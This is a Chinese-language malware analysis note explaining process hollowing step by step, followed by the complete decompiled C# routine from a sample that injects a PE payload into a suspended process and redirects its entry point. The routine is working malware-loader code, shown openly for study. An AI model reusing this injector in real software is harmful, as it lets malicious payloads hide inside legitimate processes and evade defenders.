前边分析样本,碰到个创建傀儡进程的dll,看了半天代码,才看懂是创建傀儡进程
写个笔记,总结一下
参考:https://www.4hou.com/technology/8869.html
1.通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起
2.通过NtUnmapViewOfSection清空新进程的内存数据
3.通过VirtualAllocEx申请新的内存
4.通过WriteProcessMemory向内存写入payload
5.通过SetThreadContext设置入口点
6.通过ResumeThread唤醒进程,执行payload
如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)
所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换
进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像
NTSTATUS NtUnmapViewOfSection(
_In_ HANDLE ProcessHandle, //进程句柄
_In_opt_ PVOID BaseAddress //映像基址 ,base virtual address
);
使用VirtualAllocEx函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑“重定位”的问题
写入时,需要先比较payload和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用.reloc区段)
替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器)
在最开始通过GetThreadContext获得所有寄存器的信息(保存在结构体_CONTEXT中)
然后使用SetThreadContext恢复寄存器信息,再通过ResumeThread唤醒进程,即可执行payload
样本中的创建傀儡进程
private static bool smethod_0(string string_0, byte[] byte_0, bool bool_0)
{
int num = 0;
string string_ = "\"{path}\"";
VOVO.Struct6 @struct = default(VOVO.Struct6);
VOVO.Struct5 struct2 = default(VOVO.Struct5);
@struct.uint_0 = Convert.ToUInt32(Marshal.SizeOf(typeof(VOVO.Struct6)));
bool result;
try
{
if (!VOVO.CreateProcess(string_0, string_, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref @struct, ref struct2))
{
throw new Exception();
}
MethodInfo method = typeof(BitConverter).GetMethod("ToInt32");
object[] parameters = new object[]
{
byte_0,
60
};
int num2 = Convert.ToInt32(method.Invoke(null, parameters));
object[] parameters2 = new object[]
{
byte_0,
num2 + 26 + 26
};
int num3 = Convert.ToInt32(method.Invoke(null, parameters2));
int[] array = new int[179];
array[0] = 65538;
if (IntPtr.Size == 4)
{
if (!VOVO.GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!VOVO.Wow64GetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
int num4 = array[41];
int num5 = 0;
if (!VOVO.ReadProcessMemory(struct2.intptr_0, num4 + 4 + 4, ref num5, 4, ref num))
{
throw new Exception();
}
if (num3 == num5 && VOVO.NtUnmapViewOfSection(struct2.intptr_0, num5) != 0)
{
throw new Exception();
}
object[] parameters3 = new object[]
{
byte_0,
num2 + 80
};
int int_ = Convert.ToInt32(method.Invoke(null, parameters3));
object[] parameters4 = new object[]
{
byte_0,
num2 + 42 + 42
};
int int_2 = Convert.ToInt32(method.Invoke(null, parameters4));
bool flag = false;
int num6 = VOVO.VirtualAllocEx(struct2.intptr_0, num3, int_, 12288, 64);
if (num6 == 0)
{
throw new Exception();
}
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6, byte_0, int_2, ref num))
{
throw new Exception();
}
int num7 = num2 + 248;
short num8 = BitConverter.ToInt16(byte_0, num2 + 3 + 3);
for (int i = 0; i < (int)num8; i++)
{
object[] parameters5 = new object[]
{
byte_0,
num7 + 6 + 6
};
int num9 = Convert.ToInt32(method.Invoke(null, parameters5));
object[] parameters6 = new object[]
{
byte_0,
num7 + 8 + 8
};
int num10 = Convert.ToInt32(method.Invoke(null, parameters6));
object[] parameters7 = new object[]
{
byte_0,
num7 + 20
};
int num11 = Convert.ToInt32(method.Invoke(null, parameters7));
if (num10 != 0)
{
byte[] array2 = new byte[num10];
MethodInfo method2 = typeof(Buffer).GetMethod("Bl#####ckC#####py".Replace("#####", "o"));
object[] parameters8 = new object[]
{
byte_0,
num11,
array2,
0,
array2.Length
};
method2.Invoke(null, parameters8);
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num6 + num9, array2, array2.Length, ref num))
{
throw new Exception();
}
}
num7 += 40;
}
byte[] bytes = BitConverter.GetBytes(num6);
if (!VOVO.WriteProcessMemory(struct2.intptr_0, num4 + 8, bytes, 4, ref num))
{
throw new Exception();
}
object[] parameters9 = new object[]
{
byte_0,
num2 + 40
};
int num12 = Convert.ToInt32(method.Invoke(null, parameters9));
if (flag)
{
num6 = num3;
}
array[44] = num6 + num12;
if (IntPtr.Size == 4)
{
if (!VOVO.SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
}
else if (!VOVO.Wow64SetThreadContext(struct2.intptr_1, array))
{
throw new Exception();
}
if (VOVO.ResumeThread(struct2.intptr_1) == -1)
{
throw new Exception();
}
}
catch
{
Process processById = Process.GetProcessById(Convert.ToInt32(struct2.uint_0));
processById.Kill();
result = false;
return result;
}
result = true;
return result;
}